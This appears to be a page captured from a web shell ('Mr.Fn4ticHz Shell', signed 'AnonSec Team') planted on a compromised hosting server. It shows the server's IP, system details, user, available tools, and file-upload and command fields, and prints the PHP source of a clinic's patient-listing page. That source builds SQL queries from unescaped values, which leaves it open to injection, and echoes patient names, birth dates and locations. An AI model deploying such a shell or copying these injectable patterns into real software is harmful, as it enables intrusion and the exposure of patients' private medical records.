Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.191.139.169
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/Paginator.class.php

<?php
session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'menu.php';
include 'header.php';
?>

 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        
        <label>Select Doctor</label>

<select id="select12-state" onchange="drugload(this.value)" name='Admitted_Under'>
          <option disabled selected>All</option>
          <?php
          include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
          	$sqldoctor= "SELECT * FROM site_users WHERE entered_by='$re[entered_by]'";
			$qsqldoctor = mysqli_query($con,$sqldoctor);
			if($rsdoctor = mysqli_fetch_array($qsqldoctor))
			{
				
				echo "<option value='$rsdoctor[userno]'>In Center</option>";
				}
		}
	?>
	
		  </select>
		  
		  
		 in center <input type='radio' onchange="drugload(this.value)" value='12571'>
		  <br><br>
     <div id='divdr'>
<?php
	include_once("../dbconnection.php");
	$showRecordPerPage = 5;
	if(isset($_GET['page']) && !empty($_GET['page'])){
		$currentPage = $_GET['page'];
	}else{
		$currentPage = 1;
	}
	$startFrom = ($currentPage * $showRecordPerPage) - $showRecordPerPage;
	$totalEmpSQL = "SELECT * FROM patient";
	$allEmpResult = mysqli_query($con, $totalEmpSQL);
	$totalEmployee = mysqli_num_rows($allEmpResult);
	$lastPage = ceil($totalEmployee/$showRecordPerPage);
	$firstPage = 1;
	$nextPage = $currentPage + 1;
	$previousPage = $currentPage - 1;
	$empSQL = "SELECT  srno,patientid,patientname,dob,HusbandName,gendor,State,city, created_at
	
	FROM `patient` ORDER BY srno DESC LIMIT $startFrom, $showRecordPerPage ";
	$empResult = mysqli_query($con, $empSQL);		
	?>	

	    
	    <input type="search" class="light-table-filter" data-table="order-table" placeholder="Search Patient" />
	<table class="order-table">
  
	<thead> 
		<tr> 
		   <th>Created at</th>
          <th>Patient Details</th>
            <th>Location</th>
            <th>Action</th>
		</tr> 
	</thead> 
	<tbody> 
		<?php 
		while($emp = mysqli_fetch_assoc($empResult)){
		?>
			<tr> 
				<td><?php echo $emp['created_at']; ?></td> 
				<td><b>UHID : </b><?php echo $emp['patientid']; ?><br><b>Patient Name : </b><?php echo $emp['patientname']; ?><br><b>DOB : </b>	<?php echo $emp['dob']; ?><br><b>C/O : </b> <?php echo $emp['HusbandName']; ?><br><b>Gender : </b> <?php echo $emp['gendor']; ?> </td> 
				<td><?php echo $emp['State']; ?>  <?php echo $emp['city']; ?></td>
				<td><a href='patient_basic.php?patientid=<?php echo $emp['patientid']; ?>'>View | </a> 
		  <br><a href='patient_basic.php?patientid=<?php echo $emp['patientid']; ?>'>Edit</a> </td>
			</tr> 
		<?php } ?>
	</tbody> 
	</table>
	<nav aria-label="Page navigation">
	  <ul class="pagination">
	  <?php if($currentPage != $firstPage) { ?>
		<li class="page-item">
		  <a class="page-link" href="?page=<?php echo $firstPage ?>" tabindex="-1" aria-label="Previous">
			<span aria-hidden="true">First</span>			
		  </a>
		</li>
		<?php } ?>
		<?php if($currentPage >= 2) { ?>
			<li class="page-item"><a class="page-link" href="?page=<?php echo $previousPage ?>"><?php echo $previousPage ?></a></li>
		<?php } ?>
		<li class="page-item active"><a class="page-link" href="?page=<?php echo $currentPage ?>"><?php echo $currentPage ?></a></li>
		<?php if($currentPage != $lastPage) { ?>
			<li class="page-item"><a class="page-link" href="?page=<?php echo $nextPage ?>"><?php echo $nextPage ?></a></li>
			<li class="page-item">
			  <a class="page-link" href="?page=<?php echo $lastPage ?>" aria-label="Next">
				<span aria-hidden="true">Last</span>
			  </a>
			</li>
		<?php } ?>
	  </ul>
	</nav>
	</div>
	<script>
 function drugload(drid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loadptji.php?drid="+drid,true);
        xmlhttp.send();
}
            
     
</script>
	

Anon7 - 2022
AnonSec Team